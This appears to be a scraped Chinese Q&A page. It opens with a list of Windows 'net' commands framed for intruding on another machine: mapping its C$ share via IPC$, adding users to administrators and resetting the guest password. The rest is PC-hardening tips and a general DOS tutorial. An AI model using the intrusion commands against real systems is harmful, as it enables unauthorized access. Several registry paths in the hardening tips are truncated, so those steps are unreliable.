net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名密碼/add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)

❻ 黑客入侵怎麼辦 九個防黑客入侵電腦的防護技巧

那麼黑客入侵怎麼辦呢?我們不妨採用以下九中電腦安全設置,可以很有效的避免多數黑客入侵行為。這些也是很多伺服器會進行的加強安全設置,如果你電腦中也有一些隱私或者重要數據,最好加強下安全防護設置吧。>.黑客Dos命令大全 入門dos命令教程一、計算機的設置1.關閉「文件和列印共享」文件和列印共享應該是一個非常有用的功能,但在不需要它的時候,也是黑客入侵的很好的安全漏洞。所以在沒有必要「文件和列印共享」的情況下,我們可以將它關閉。用滑鼠右擊「網路鄰居」,選擇「屬性」,然後單擊「文件和列印共享」按鈕,將彈出的「文件和列印共享」對話框中的兩個復選框中的鉤去掉即可。 雖然「文件和列印共享」關閉了,但是還不能確保安全,還要修改注冊表,禁止它人更改「文件和列印共享」。打開注冊表編輯器,選擇「HKEY_CURRENT_」主鍵,在該主鍵下新建DWORD類型的鍵值,鍵值名為「NoFileSharingControl」,鍵值設為「1」表示禁止這項功能,從而達到禁止更改「文件和列印共享」的目的;鍵值為「0」表示允許這項功能。這樣在「網路鄰居」的「屬性」對話框中「文件和列印共享」就不復存在了。2.把Guest賬號禁用有很多入侵都是通過這個賬號進一步獲得管理員密碼或者許可權的。如果不想把自己的計算機給別人當玩具,那還是禁止的好。打開控制面板,雙擊「用戶和密碼」,單擊「高級」選項卡,再單擊「高級」按鈕,彈出本地用戶和組窗口。在Guest賬號上面點擊右鍵,選擇屬性,在「常規」頁中選中「賬戶已停用」。另外,將Administrator賬號改名可以防止黑客知道自己的管理員賬號,這會在很大程度上保證計算機安全。3.禁止建立空連接在默認的情況下,任何用戶都可以通過空連接連上伺服器,枚舉賬號並猜測密碼。因此,我們必須禁止建立空連接。方法是修改注冊表:打開注冊表「HKEY_LOCAL_」,將DWORD值「RestrictAnonymous」的鍵值改為「1」即可。二、 安裝必要的安全軟體 我們還應在電腦中安裝並使用必要的防黑軟體,殺毒軟體和 防火牆 都是必備的。在上網時打開它們,這樣即便有黑客進攻我們的安全也是有保證的。建議大家都安裝一下主流的殺毒軟體,如360或者金山等。三、關閉不必要的埠黑客在入侵時常常會掃描你的計算機埠,如果安裝了埠監視程序(比如Netwatch),該監視程序則會有警告提示。如果遇到這種入侵,可用工具軟體關閉用不到的埠。四、不要回陌生人的郵件有些黑客可能會冒充某些正規網站的名義,然後編個冠冕堂皇的理由寄一封信給你要求你輸入上網的用戶名稱與密碼,如果按下「確定」,你的帳號和密碼就進了黑客的郵箱。所以不要隨便回陌生人的郵件,即使他說得再動聽再誘人也不上當。五、更換管理員帳戶Administrator帳戶擁有最高的系統許可權,一旦該帳戶被人利用,後果不堪設想。黑客入侵的常用手段之一就是試圖獲得Administrator帳戶的密碼,所以我們要重新配置Administrator帳號。首先是為Administrator帳戶設置一個強大復雜的密碼,然後我們重命名Administrator帳戶,再創建一個沒有管理員許可權的Administrator帳戶欺騙入侵者。這樣一來,入侵者就很難搞清哪個帳戶真正擁有管理員許可權,也就在一定程度上減少了危險性。六、隱藏IP地址黑客經常利用一些網路探測技術來查看我們的主機信息,主要目的就是得到網路中主機的IP地址。IP地址在網路安全上是一個很重要的概念,如果攻擊者知道了你的IP地址,等於為他的攻擊准備好了目標,他可以向這個IP發動各種進攻,如DoS( 拒絕服務 )攻擊、Floop溢出攻擊等。隱藏IP地址的主要方法是使用代理伺服器。與直接連接到Internet相比,使用代理伺服器能保護上網用戶的IP地址,從而保障上網安全。代理伺服器的原理是在客戶機(用戶上網的計算機)和遠程伺服器(如用戶想訪問遠端WWW伺服器)之間架設一個「中轉站」,當客戶機向遠程伺服器提出服務要求後,代理伺服器首先截取用戶的請求,然後代理伺服器將服務請求轉交遠程伺服器,從而實現客戶機和遠程伺服器之間的聯系。很顯然,使用代理伺服器後,其它用戶只能探測到代理伺服器的IP地址而不是用戶的IP地址,這就實現了隱藏用戶IP地址的目的,保障了用戶上網安全。提供免費代理伺服器的網站有很多,你也可以自己用代理獵手等工具來查找。七、防範木馬程序木馬程序會竊取所植入電腦中的有用信息,因此我們也要防止被黑客植入木馬程序,常用的辦法有:1、在下載文件時先放到自己新建的文件夾里,再用殺毒軟體來檢測,起到提前預防的作用。2、在「開始」→「程序」→「啟動」或「開始」→「程序」→「Startup」選項里看是否有不明的運行項目,如果有,刪除即可。將注冊表裡 HKEY_LOCAL_下的所有以「Run」為前綴的可疑程序全部刪除即可。八、杜絕Guest帳戶的入侵Guest帳戶即所謂的來賓帳戶,它可以訪問計算機,但受到限制。不幸的是,Guest也為黑客入侵打開了方便之門!網上有很多文章中都介紹過如何利用Guest用戶得到管理員許可權的方法,所以要杜絕基於Guest帳戶的系統入侵。禁用或徹底刪除Guest帳戶是最好的辦法,但在某些必須使用到Guest帳戶的情況下,就需要通過其它途徑來做好防禦工作了。首先要給Guest設一個強壯的密碼,然後詳細設置Guest帳戶對物理路徑的訪問許可權。舉例來說,如果你要防止Guest用戶可以訪問tool文件夾,可以右擊該文件夾,在彈出菜單中選擇「安全」標簽,從中可看到可以訪問此文件夾的所有用戶。刪除管理員之外的所有用戶即可。或者在許可權中為相應的用戶設定許可權,比方說只能「列出文件夾目錄」和「讀取」等,這樣就安全多了。 九、做好IE的安全設置ActiveX控制項和 Applets有較強的功能,但也存在被人利用的隱患,網頁中的惡意代碼往往就是利用這些控制項編寫的小程序,只要打開網頁就會被運行。所以要避免惡意網頁的攻擊只有禁止這些惡意代碼的運行。IE對此提供了多種選擇,具體設置步驟是:「工具」→「Internet選項」→「安全」→「自定義級別」,建議您將ActiveX控制項與相關選項禁用。謹慎些總沒有錯!另外,在IE的安全性設定中我們只能設定Internet、本地Intranet、受信任的站點、受限制的站點。不過,微軟在這里隱藏了「我的電腦」的安全性設定,通過修改注冊表把該選項打開,可以使我們在對待ActiveX控制項和 Applets時有更多的選擇,並對本地電腦安全產生更大的影響。下面是具體的方法:1、打開「開始」菜單中的「運行」,在彈出的「運行」對話框中輸入Regedit.exe。2、打開注冊表編輯器,點擊前面的「+」號順次展開到:HKEY_CURRE-NT_、在右邊窗口中找到DWORD值「Flags」,默認鍵值為十六進制的21(十進制33),雙擊「Flags」,4、在彈出的對話框中將它的鍵值改為「1」即可,關閉注冊表編輯器。無需重新啟動電腦,重新打開IE,再次點擊「工具→Internet選項→安全」標簽,你就會看到多了一個「我的電腦」圖標,在這里你可以設定它的安全等級。將它的安全等級設定高些,這樣的防範更嚴密。5、最後建議給自己的系統打上補丁, 微軟那些補丁還是很有用的。擴展鏈接:dos命令大全 分享黑客必知的DOS命令。

❼ dos基本命令。

DOS常用命令

要想操作使用DOS,知道一些常用命令是非常重要的。以下是一些命令的用法。

文件名是由文件路徑和文件名稱合起來的,如C:\DOS\COMMAND.COM。

DIR 顯示文件和文件夾(目錄)。
用法:DIR [文件名] [選項]

它有很多選項,如/A表示顯示所有文件(即包括帶隱含和系統屬性的文件),/S表示也顯示子文件夾中的文件,/P表示分屏顯示,/B表示只顯示文件名,等等。
如 DIR A*.EXE /A /P
此命令分屏顯示當前文件夾下所有以A開頭後綴為EXE的文件(夾)。

CD或CHDIR 改變當前文件夾。
用法:CD [文件夾名]
若無文件夾名則顯示當前路徑。

MD或MKDIR 建立文件夾。
用法:MD 文件夾名

RD或RMDIR 刪除文件夾。
用法:RD 文件夾名
注意:此文件夾必須是空的。

DEL或ERASE 刪除文件。
用法:DEL/ERASE 文件名

COPY 拷貝文件。
用法: COPY 文件名1 [文件名2] [選項]
如 COPY /B A+B C
此命令將兩個二進制文件A和B合為一個文件C。

TYPE 顯示文件內容。
用法:TYPE 文件名

REN或RENAME 改變文件名,在DOS7中還可以改變文件夾名。
用法:REN 文件(夾)名1 文件(夾)名2

EDIT 編輯文件,在DOS7中還可以編輯二進制文件。
用法:EDIT [文件名] [選項]
如 EDIT /70 C:\COMMAND.COM
此命令以二進制方式編輯C:\COMMAND.COM文件。

FORMAT 格式化磁碟。
用法:FORMAT 驅動器 [選項]

它的選項很多,如/Q是快速格式化,/U表示無條件格式化(即無法使用UNFORMAT等命令恢復),/V指定磁碟的卷標名,等等。它還有許多未公開參數。

MEM 顯示內存狀態。
用法:MEM [選項]

它的選項也有不少,如/C可列出所有程序的內存佔用,/D是顯示駐留內存的程序及設備驅動程序的狀態等詳細信息,/F顯示空閑的內存總量,/M顯示內存中的模塊信息,/P則是分屏顯示。還有隱藏的/A選項,可以顯示HMA信息。

MOVE 移動文件或文件夾,還可以更改文件或文件夾的名稱。
用法:MOVE 文件[夾]1 文件[夾]2
如 MOVE C:\*.EXE D:
此命令可以將C盤根文件夾下所有擴展名為EXE的文件移到D盤上。

XCOPY 復制文件或文件夾。
用法:XCOPY 文件[夾]名1 [文件[夾]名2] [選項]

它的選項非常多,如/S可拷貝整個文件夾(包括子文件夾)中的文件,/E指定包括空文件夾,/V表示復制完後檢驗復制出的文件的正確性,/Y表示確認,等等。

CLS 清除屏幕。
用法:CLS

SYS 傳導系統,即將系統文件(如IO.SYS等)從一處傳輸到指定的驅動器中。
用法:SYS 文件夾名 [驅動器]
如 SYS C:\DOS A:
此命令即可將位於C:\DOS文件夾下的系統文件傳輸到A盤中。

DATE 顯示或設置日期。
用法:DATE [日期]

TIME 顯示或設置時間。
用法:TIME [時間]

DOS還自帶一些其它的命令,如SORT(排序),FIND(尋找字元)等。

除DOS自帶的命令以外,還有很多其它的增強命令也非常實用,它們可以大大增強DOS的功能。這些軟體中有很多可以在「DOS軟體」中下載。

--------------------------------------------------------------------------------

DOS下的必備工具

DOS是個非常強大實用的操作系統,有著最多的用戶。但是我們在安裝了DOS以後,發現DOS自帶的命令並不能完成大家所需的各方面的功能。這時,我們就需要一些其它的軟體來實現那些功能。DOS下的實用軟體是非常多的,那麼,我們應該在其中選擇哪些工具作為必備工具來使用呢?下面就來分類討論一下。

當安裝了操作系統後,首先要使整個電腦的硬體發揮出各自的功能,比如滑鼠,光碟機,音效卡等等。這時就需要有相應的驅動程序,而這些驅動程序就是DOS下的必備工具。這些驅動程序可在本站的「DOS軟體」中下載,而安裝與設置方法請見本欄目的「DOS下硬體設備的使用與設置」。

將硬體都能正常工作了以後,就要讓DOS來完成所需的功能了。DOS既是個方便實用的操作系統,又是一個基礎操作系統,許多界面增強程序(如Windows 3.x/9x)都是建立在它的基礎上實現的,即DOS是它們的內核。因此,在DOS下進行一些系統和磁碟的管理是十分合適的,例如復制磁碟,分區,格式化等等。這時,GHOST,FDISK,FORMAT及PQMAGIC等磁碟工具就可以大顯身手了,可以當作是DOS下的必備工具。當然,其它的系統維護工具(如磁碟檢查工具等)也非常重要,大家可在本欄目的「DOS系統的維護」中看到。

大家知道,為了節省空間,很多文件都是使用壓縮的方法來存取的。因此,DOS下進行壓縮和解壓的工具是非常重要的。常用的壓縮格式有ZIP,RAR及ARJ等,而能夠建立和展開這些壓縮格式的DOS工具分別是PK(UN)ZIP,(UN)RAR及(UN)ARJ。它們的操作都十分方便快捷,如PKUNZIP *.ZIP就可以將當前文件夾下所有的ZIP文件展開。RAR和ARJ格式也是一樣,可以建立或展開相應的壓縮文檔。不過要注意,由於RAR近年來在3.0版本中採用了新的RAR壓縮格式,所以許多新的RAR文件應用最新版本的RAR(即3.0版)來解壓,可在本站的「壓縮工具」中下載。至於以上PKZIP/PKUNZIP和RAR等工具的具體使用方法,可見本站「DOS文章」欄目中的「DOS下常用壓縮和解壓工具的使用」。除了壓縮一般文件,還可以壓縮可執行文件,即將可執行文件的體積變小。最好的可執行文件的壓縮工具是UPX,功能非常強大,可以作為必備工具。

還有部分文件叫作映像文件,如IMG文件,它們中有很多是用HD-COPY產生的,當然還有其它的工具。解壓這些文件最好的方法是用UNDISK(可在本站下載),它可以非常高效的將映像文件展開,可作為必備工具。最好不要用HD-COPY等工具來解壓這些文件,因為此工具不僅舊,而且只能將文件展開到軟盤上,非常不方便。剛才提到的UNDISK則要好用得多。

那麼如果不知道一些文件是什麼壓縮格式的情況怎麼辦呢(尤其是當擴展名丟失的時候)?這時,可用DOS下的一個非常強大的工具GetType,它的最新版本是2.60,可在本站中下載。它可以非常詳細的顯示壓縮/映像/加密文件中的信息,甚至可以將裡面的內容全部顯示出來,而不需其它任何軟體。不僅如此,它還可以顯示可執行文件(包括Windows文件)和其它文件中的信息,非常強大,而且支持長文件名。大家可以將它當作必備工具,因為一旦有了它,操作起來就方便多了。

大家知道,Windows的文件管理器操作起來非常直觀,DOS下也有很多的這樣的工具,可在本站的「文件管理」中找到。它們也都是以圖形方式進行操作,通常除基本的文件管理功能以外,還能實現其它許多功能,如自帶文件編輯器,可以查看壓縮文件中的內容等,而且近年來DOS下的文件管理工具還增加了支持長文件名和FAT32的功能。這些工具中,比較實用的有Volkov Commander等,它們的界面都不錯,功能也很強,大家可以將它們作為必備工具來使用。

使用DOS自然會經常與文件和文件夾打交道,因此,如何很好的使用這些文件和文件夾就非常重要。常用的文件操作如建立,刪除,編輯等,既可用DOS自帶的命令,也可用許多增強工具,這樣可以大大提高文件操作的效率。這些工具可在本站的「文件工具」中下載,本站的文件工具中大都支持長文件名和FAT32分區。純DOS通常只能使用短文件名,那麼如何讓它使用長文件名呢?其實,實現起來並不難,通常有長文件名驅動程序和直接操作長文件名兩種方式,對應的工具分別有DOSLFN/LFNDOS和Odi's LFN tools,非常實用,可以作為必備工具。具體在純DOS下使用長文件名的方法請見本站的「DOS文章」欄目中的文章。

隨著電腦的發展,越來越多的人開始使用它,所以許多日常生活上的事(比如寫文章,聽音樂,看圖像等)都在電腦上進行了。那麼,如何在DOS下進行這些操作呢?先說寫文章。DOS中自帶一個EDIT命令,可以編輯多個文件和二進制文件,不過功能並不是很強大(比如不能設置字體等),可以使用其它專門的文字處理工具來完成。這些工具中著名的有MS-Word,CCED,WPS等,可在本站「文本」工具中下載。有些人喜歡一邊打字一邊聽音樂,在DOS下當然也可以實現。以SETEDIT為例,這是一個非常強大實用的DOS字處理軟體,不僅具有字處理的功能,還可以一邊寫文章一邊聽MP3音樂,多麼好啊!因此可以將它們作為必備工具。

說完了在DOS下的文書處理,接下來就是聽音樂和看圖像等等操作了。DOS下聽音樂和看圖像的軟體非常多,比如可以聽WAV,MID,MP3等格式的音樂,功能和效果都非常好(絕不是最舊最差的MP3播放器DOSAMP的那種播放效果),具體可在本欄目的「DOS下的多媒體」中看到。比如QuickView,它的體積就非常小,功能卻很強大,大家可將它作為必備工具。在DOS下看圖像也非常方便,通常有兩種方式,一種是命令行方式,一種是圖形界面方式。以PictView(可在本站的「圖形軟體」中下載)為例,它可以播放40多種圖形格式,如JPG,GIF,BMP,TGA,ICO,GIF等等,不僅速度快,質量和效果好,而且它的體積非常小,才100多K!因此,完全可以將它作為必備工具來使用。但有些圖像軟體,尤其是舊的圖像軟體,如NV等,不僅速度慢,播放質量差,而且體積也很龐大,所以最好不要使用。

DOS下還有許多非常強大實用的軟體,也可以做為必備工具。DOS軟體通常都很小巧實用,這自然大大方便了大家的使用。比如SHUTDOWN和POWEROFF等命令可以輕易在DOS命令行方式下實現軟關機,不僅操作起來很方便,而且體積非常小,大家就可以將它們作為必備工具。還有一些DOS命令的增強工具,可以大大增強DOS自帶的外部的功能,如XXCOPY,XMSDSK等等,可以在本站中下載。為了方便大家的使用,我製作了「DOS常用工具集」,包括了以上各類軟體(如命令行工具,驅動程序,系統工具,磁碟工具,壓縮工具,多媒體軟體等)的直接運行版本,放在本站「DOS軟體」欄目的「DOS系統」中,歡迎大家下載使用。

由於每個人的習慣和愛好都不相同,所以每個人所進行的主要操作也並不相同。比如有些人喜歡編程序,或編批處理文件,就可將一些實用的編處理工具(可在本站的「腳本工具」中下載)作為必備工具;有些人喜歡玩游戲,就可以將一些游戲修改軟體或模擬器(可在本站的「游戲軟體」中下載)作為必備工具。因此,大家還可以根據自己的喜好來選擇適合於自己的必備工具。不過,大家應盡量使用那些近幾年來新推出的DOS軟體,因為這些軟體不僅整體而言功能更強,而且支持最新的電腦技術(如FAT32分區,大硬碟,長文件名,PCI/USB設備等)。總之,只要我們善於選擇和使用DOS軟體,就可以將DOS變得非常強大,讓DOS發揮出應有的功能。

--------------------------------------------------------------------------------

DOS命令行下常見的錯誤信息

大家在使用DOS的過程中,經常在命令行方式下遇到一些錯誤信息提示,由於往往是英文的,導致一些人看到後不知是怎麼回事,更不知該如何解決了。下面,我就將常見的DOS命令行方式下的錯誤信息向大家介紹一下。

[英文] Bad command or file name
[譯文] 錯誤的命令或文件名

錯誤原因和解決:

這大概是大家最常見到的錯誤提示了,它的意思是輸入的命令無效。當輸入的命令既不是DOS內部命令,而且系統在查找路徑或指定路徑中找不到相應的可執行文件的話,就會出現此錯誤信息。您可以檢查輸入的命令是否正確,如是否打錯了字母等。

[英文] Access Denied
[譯文] 拒絕存取

錯誤原因和解決:

這也是一個常見的錯誤,出現的情況很多,如在用DEL命令刪除具有隻讀屬性的文件,或者在多任務環境下有多個進程同時存取同一文件,以及試圖在設有隻讀許可權的網路文件夾中寫入文件的時候。解決的方法也很簡單,只需去掉文件的只讀、隱含等屬性,或保證同一時候只有一個進程在讀寫文件,及去掉網路文件夾的只讀許可權即可。

[英文] Drive not ready
[譯文] 驅動器未准備好

錯誤原因和解決:

相信大家都遇到過這個錯誤信息吧!尤其是在存取可移動磁碟(包括軟盤和光碟)的時候更是常見到。解決方法是將磁碟插好後重試即可。

[英文] Write protect error
[譯文] 防寫錯誤

錯誤原因和解決:

當試圖向寫了保護的磁碟(通常是軟盤)寫入信息的時候就會出現該錯誤。將磁碟的防寫去掉即可。

[英文] General error
[譯文] 常規錯誤

錯誤原因和解決:

此錯誤通常出現在DOS無法識別指定的磁碟的格式的情況下,如軟盤未格式化。用FORMAT等命令格式化磁碟或轉換成DOS能識別的格式即可。

[英文] Abort,Retry,Ignore,Fail?
[譯文] 中止,重試,忽略,失敗?

錯誤原因和解決:

此錯誤信息的出現頻率非常高,比如在磁碟未准備好的時候。輸入A則取消操作,然後返回DOS提示符下,輸入R則表示再試一次,輸入I則表示忽略此錯誤並繼續,最好不要使用,輸入F則表示跳過此錯誤,經常選擇此項。

[英文] File not found
[譯文] 文件未找到

錯誤原因和解決:

在使用很多命令的時候若找不到指定的文件就會出現該提示。例如使用DIR命令的時候,若指定的文件不存在,該錯誤信息就會出現。解決方法是將文件名輸入正確。

[英文] Incorrect DOS version
[譯文] 錯誤的DOS版本

錯誤原因和解決:

當要執行的命令發現當前的DOS版本與這個命令所期待的DOS版本不相同的時候就會出現此錯誤信息。具體情況和解決方法請見本站的「DOS文章」欄目中的文章。

[英文] Invalid directory
[譯文] 非法目錄

錯誤原因和解決:

如果輸入了不存在或無效的目錄的時候就會出現該提示。可檢查是否輸入有誤。

[英文] Invalid Drive Specification
[譯文] 指定的驅動器非法

錯誤原因和解決:

當輸入的驅動器不存在的時候就會出現該提示。請檢查是否存在該驅動器。有些驅動器(如NTFS卷,光碟機,網路驅動器等)則需要載入相應的驅動程序才能被識別。

[英文] Syntax error
[譯文] 語法錯誤

錯誤原因和解決:

此命令在使用一些批處理命令(如IF,FOR等)時比較常見,可檢查是否輸入了無效的語法。以FOR命令為例,它的語法是FOR %F IN (文件名) DO 命令,不能將此語法格式弄錯了(如輸反了或漏了等),必須輸入正確的命令才能得到相就的結果。

[英文] Required parameter missing
[譯文] 缺少必要的參數

錯誤原因和解決:

如果在執行命令(如DEL)漏掉了它要正常完成功能所需的參數時,就會出現該提示。

[英文] Invalid parameter
[譯文] 非法參數

錯誤原因和解決:

出現在執行命令時輸入了無效的參數。可以檢查輸入的參數是否正確,有沒有拼寫錯誤等。如果您不知道有哪些參數的話,通常可以使用此命令的/?選項來看參數列表。

[英文] Not enough memory 或 Insufficient memory
[譯文] 內存不足

錯誤原因和解決:

如果在執行程序時程序發現所需的內存大於可以使用的內存(通常是指常規內存)時就會出現此信息。造成內存不足的情況如執行了過多過大的內存駐留程序,或系統內存未經過很好的配置等。大家可以看本欄目中的「DOS下內存的配置」。

[英文] Divide overflow 或 Divide by zero
[譯文] 除數為零

錯誤原因和解決:

如果在系統不穩定,與其它程序有沖突,或程序本身有問題的情況下運行程序的話就會出現此錯誤。可以重新啟動系統後再運行此程序試試。

[英文] Runtime error xxx
[譯文] 運行時間錯誤xxx

錯誤原因和解決:

和以上的「除數為零」錯誤類似。如果xxx的值為200的話,可以見「DOS文章」欄目。

[英文] Error in EXE file
[譯文] EXE文件有錯誤

錯誤原因和解決:

通常是這個可執行文件已經損壞,已不能夠再使用。使用一個好的就可以了。

以上是常見的DOS命令行方式下的錯誤信息,大家可以利用上文將故障排除。

--------------------------------------------------------------------------------

DOS下的多媒體

在許多人的印象中,DOS是個單任務的文本模式的操作系統,哪兒會有什麼或者說是較好的多媒體功能呢?其實不然。比如,Windows 3.x和Windows 9x只不過是建立在DOS下的大型保護模式的應用程序,為何它們也能播放精採的多媒體文件呢?所以,多媒體絕非WIN等操作系統的「專利」,DOS下實現多媒體功能是完全可以的,而且由於時代的發展,新的開發器和編程序庫的推出,DOS下的多媒體功能實現起來也越來越容易,功能也越來越強,大家可在「DOS近年來的發展」中看到。

注意,如果要在DOS下用音效卡播放聲音,首先需要設置好音效卡。具體方法請見本欄目中的「DOS下硬體設備的使用與設置」。

當然,DOS操作系統本身並不帶有多媒體命令,而需要專門的多媒體軟體,這就像我們玩游戲需要專門的游戲軟體一樣。DOS下的多媒體軟體有很多,舊的有SEA等,不過近幾年來隨著多媒體技術的發展,DOS下多媒體軟體也明顯增多了,如QuickView Pro、Cubic Player(OpenCP)、MPXPlay、DSS等等,大家可以到「DOS軟體分類下載」中的「媒體軟體」中下載。這些軟體普遍可以播放WAV,MP3等格式的文件,有的則支持更多的格式,如Cubic Player,不僅支持的格式很多,包括WAV,MP3,MID,RMI,ASF,MOD,S3M,IT,ASF,669,CD音頻等等,而且界面非常不錯。注意大多數MP3文件播放器最好在586以上的電腦下使用,以發揮最好的效果,在486或以下電腦上播放MP3時可能會出現斷音,而WAV等格式則沒有問題。

有些人在原來曾使用過DOSAmp來播放MP3文件,覺得它的播放效果不好而認定DOS下播放MP3都不好。其實這是不對的。因為DOSAmp其實是DOS下最舊且功能和效果都是最差的MP3播放器,界面雖不是最差,但也只是一般,現在早已被淘汰了。我雖然經常在DOS下聽MP3歌曲,卻非常不喜歡用DOSAmp而是使用其它在DOS下播放較果非常好的MP3播放器進行播放。大家可以在「媒體軟體」中找到。

在這么多的軟體中,我向大家推薦QuickView Pro,它是一個非常強大的多媒體軟體,支持的格式非常多,包括多種音樂格式(如WAV、MP3等等),各種圖形格式(如BMP、GIF、JPG、PCX等等),還有很多多媒體格式(如AVI、MPG、MOV、FLC/FLI、VCD等等)。它一直在不斷發展著,比如其最新的2.50版於今年8月底剛推出。其具體使用方法可以在「DOS文章」欄目中的「DOS多媒體播放器——QuickView的使用」一文中看到。當然也推薦其它一些MP3播放器,如MPXPLAY也很不錯,功能相當多,如媒體的播放、轉換等等它都能完成。它的界面也很好,且支持滑鼠操作,十分方便實用。它現在一直在不斷發展和更新著,其最新版本於今年10月剛推出。

除此之外,還有MegaMid,MidPlay等全屏幕的MIDI播放器也非常不錯,不僅界面很好,功能也很強大。它們都可以顯示MIDI音樂中的字幕(如果有的話),操作也十分簡單。至於其它各種多媒體格式也完全可以在DOS下播放,如VideoCD(VCD)的播放,除上面的QuickView Pro,還有Mpegone等等都可以做到,效果也很好,當然最好在586以上的電腦上播放,越新效果就越好。而RealAudio等格式的播放,則可以在「DOS使用中的常見問題解答(FAQ)」專欄中看到。

總之,DOS下的多媒體功能是非常強大的。如果您有興趣的話,也可以為「DOS開發」欄目開發一些DOS下多媒體軟體,以跟上國外DOS軟體的發展,並幫助廣大的DOS使用者與愛好者們,還可以促進國內自由軟體的發展,真是好處甚多。

--------------------------------------------------------------------------------

DOS下聯網的方法

隨著計算機和網路的普及,計算機之間的聯網操作(如文件的傳輸,聊天等)以及Internet網路顯得越來越重要了。既然DOS有這么多的用戶,那麼如何用它來實現聯網呢?DR-DOS 7.xx和ROM-DOS 7.xx中自帶聯網(包括區域網和TCP/IP協議等)的功能,可是我們大家常用的MS-DOS卻沒有。但是,並不是沒有辦法,只是需要一些附加的軟體。比較好的有Netware Lite 1.x和Microsoft Network Client 3.0等(均可在本站的「網路工具」中下載),下面以Microsoft Network Client 3.0為例,講述一下區域網的實現方法。關於DOS下Internet的連接方法,請看下文。

首先在需要聯網的計算機中安裝Microsoft Network Client 3.0(後文簡稱MSCLIENT),安裝中輸入各自的工作組,計算機名和IP地址,以及用戶名和密碼,並在列表中選擇安裝的網卡的型號。如果列表中沒有您的網卡的話,則需要網卡自帶的驅動程序,通常在一張軟盤中,也有可能在光碟中。當它提示輸入OEM盤的時候,您就插入網卡的驅動程序磁碟,然後輸入合適的路徑。由於各網路系統所需的網卡驅動程序並不一樣,而對於MSCLIENT一般則選擇驅動盤中的NDIS2或MSCLIENT文件夾,如A:\MSCLIENT。只要正確的話,它就會進行自動安裝了。至於網路協議,一般只要有NetBEUI和TCP/IP協議就夠了,裝太多會減慢網路的速度。安裝完成後,MSCLIENT會自動將網路啟動命令放入AUTOEXEC.BAT中,重新啟動計算機後就會發現網路自動啟動了。當系統提示輸入用戶名和密碼時,輸入剛才設置的就可以了。這時,網路就開始運轉了,比如您想查看當前工作組下的所有計算機,可輸入NET VIEW命令。

不過,這時候大家都還是客戶機,還沒有伺服器,必須安裝伺服器才可以共享文件。安裝後可用NETSHARE命令設置共享路徑,如將D盤設為共享,如果必要的話,還可以設置密碼,以免非法訪問。一旦設好伺服器和共享,客戶機就可以訪問該計算機上的資源了。比如:NET USE E: \\PC\C命令就會將名稱為PC的計算機上的共享名為C的驅動器(或文件夾)重定向到E盤,此時遠程計算機上的內容就可以像本地計算機那樣訪問了。不過還有一點很重要,那就是要將MSCLIENT的文件和列印機的共享功能的設置打開,方法是用EDIT等文本編輯器打開MSCLIENT文件夾中的SYSTEM.INI,將[network]項中的filesharing和printsharing的值全部改為yes,保存並退出後就可以使用文件和列印機的共享功能了。

如果想將使用DOS和使用Windows的計算機相聯,也是完全可以的。由於Windows 3.11 for Workgroups,Windows 9x以及Windows NT/2K/XP中採用的是一種叫做「Microsoft Windows Network」的網路,和DOS下的Microsoft Network Client 3.0是兼容的,所以它們之間可以實現非常完好的互相訪問,就像DOS與DOS之間,或Windows與Windows之間的網路一樣。不過要注意的是,若想要使用DOS的計算機訪問使用Windows NT/2K/XP的計算機,則一定要在Windows NT/2K/XP中設置DOS計算機的用戶帳戶,否則無法訪問。

Microsoft Network Client 3.0中有許多非常實用的命令,如PING等,如果您想知道這些命令及其用法,請見「DOS文章」欄目。

除了使用MSCLIENT以外,還可以使用Netware等工具聯網。以Netware Lite為例,安裝完後直接執行STARTNET.BAT即可自動調入對等網(包括伺服器)。這時可用它自帶的NET命令進行全屏幕的網路管理,也可以用命令行方式,比如NET MAP命
參考資料:http://www.furonghua.com/readarticle/htm/207/2005_7_27_1029.html
回答者:楚四郎 - 秀才 三級 11-6 04:09

--------------------------------------------------------------------------------

提問者對於答案的評價:
這似乎有點長了..不過還是感謝你 ^-^

--------------------------------------------------------------------------------

您覺得最佳答案好不好? 目前有 1 個人評價

100% (1)
0% (0)

對最佳答案的評論
非常全面,謝謝了
大家要看呀
評論者: 都用了 - 魔法學徒 一級

--------------------------------------------------------------------------------

其他回答 共 4 條

DOS命令大全

DOS命令大全
一)MD——建立子目錄
1.功能:創建新的子目錄
2.類型:內部命令
3.格式:MD[盤符:][路徑名]〈子目錄名〉
4.使用說明:
(1)「盤符」:指定要建立子目錄的磁碟驅動器字母,若省略,則為當前驅動器;
(2)「路徑名」:要建立的子目錄的上級目錄名,若預設則建在當前目錄下。
例:(1)在C盤的根目錄下創建名為FOX的子目錄;(2)在FOX子目錄下再創建USER子目錄。
C:、>MD FOX (在當前驅動器C盤下創建子目錄FOX)
C:、>MD FOX 、USER (在FOX 子目錄下再創建USER子目錄)
(二)CD——改變當前目錄
1.功能:顯示當前目錄
2.類型:內部命令
3.格式:CD[盤符:][路徑名][子目錄名]
4.使用說明:
(1)如果省略路徑和子目錄

閱讀全文

與入侵命令大全相關的資料

熱點內容
解壓機壓什麼不爛 瀏覽:370
大牛盒子插件文件夾 瀏覽:12
用友t3如何遠程連接伺服器 瀏覽:741
保時捷行車記錄儀需要什麼app 瀏覽:715
文件伺服器中的DFS全名是什麼 瀏覽:460
365小說app現在叫什麼 瀏覽:54
